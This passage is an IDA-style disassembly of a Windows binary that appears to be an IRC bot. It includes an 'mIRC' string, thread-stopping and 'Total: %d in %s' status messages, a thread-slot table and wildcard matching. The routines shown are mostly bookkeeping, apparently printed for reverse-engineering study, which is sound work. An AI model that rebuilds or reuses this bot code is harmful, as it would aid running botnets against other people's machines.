loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26A0B14h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26E0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_436B54
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA


loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_430DA4
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4


loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_4429D8
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26E05A1h
		call	near ptr 26A0B14h
		nop
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_436B7C


loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_436B78
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_436B74
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_436B70
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_436B6C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_436B68
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_436B64
		jz	short loc_40AFA0


loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_436B60


loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_436B58
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4


loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_430DA4
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE


loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 26A0B14h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4D0830
		test	eax, eax
		mov	eax, offset dword_436B88
		jnz	short loc_40B022
		mov	eax, offset dword_4429D8


loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_436B80
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------


loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4D0830
		test	eax, eax
		mov	eax, offset dword_436B88
		jnz	short loc_40B04D
		mov	eax, offset dword_4429D8


loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_432E8C


loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------


loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_432F04
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------


loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_432E90[eax*4]
		pop	ecx


loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_443560


loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D0560
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------


loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_443560[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_443760[esi], eax
		and	dword_443764[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_443768[esi], 0
		mov	dword_44376C[esi], eax
		and	byte_443778[esi], 0
		pop	esi


loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 0E8006A14h, 22E4E50h, 555E5F90h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 436C88h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 443560BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 1AB468FFh, 0E8500043h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 60FE8147h, 7C004D05h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_443774[esi]
		lea	edi, dword_443774[esi]
		nop
		call	near ptr 26A0BC8h
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp


loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_443768[esi]
		mov	dword_443760[esi], ebx
		mov	dword_443764[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx


loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_44376C[esi]
		mov	byte ptr dword_443560[esi], bl
		mov	byte_443778[esi], bl
		push	dword ptr [edi]
		call	dword_4D08BC
		lea	esi, dword_443770[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4D08BC
		mov	[esi], ebx
		pop	edi


loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_443560


loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx


loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4D0560
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_443764


loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327


loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]


loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4D0764
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_443760


loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax


loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4D0760
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_443760


loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4D0760
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------


loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_443774[eax], ecx
		mov	dword_443760[eax], ecx
		mov	dword_443764[eax], ecx
		mov	dword_443768[eax], ecx
		mov	dword_44376C[eax], ecx
		mov	dword_443770[eax], ecx
		mov	byte ptr dword_443560[eax], cl
		mov	byte_443778[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------


loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------


loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------


loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax


loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi


loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562


loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------


loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi


loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------


loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1


loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax


loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------


loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------


loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F


loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------


loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------


loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3


loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1


loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]


loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4370A4
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_436D08, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_436D10


loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_437098
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi


loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4D0564
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4D3330
		mov	ecx, dword_4D332C
		push	esi
		push	dword_4D0564
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4D3330
		lea	eax, [ebp+var_200]
		push	dword_4D332C
		push	offset unk_4370C4
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4D0564
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4D3574
		push	offset unk_43710C
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


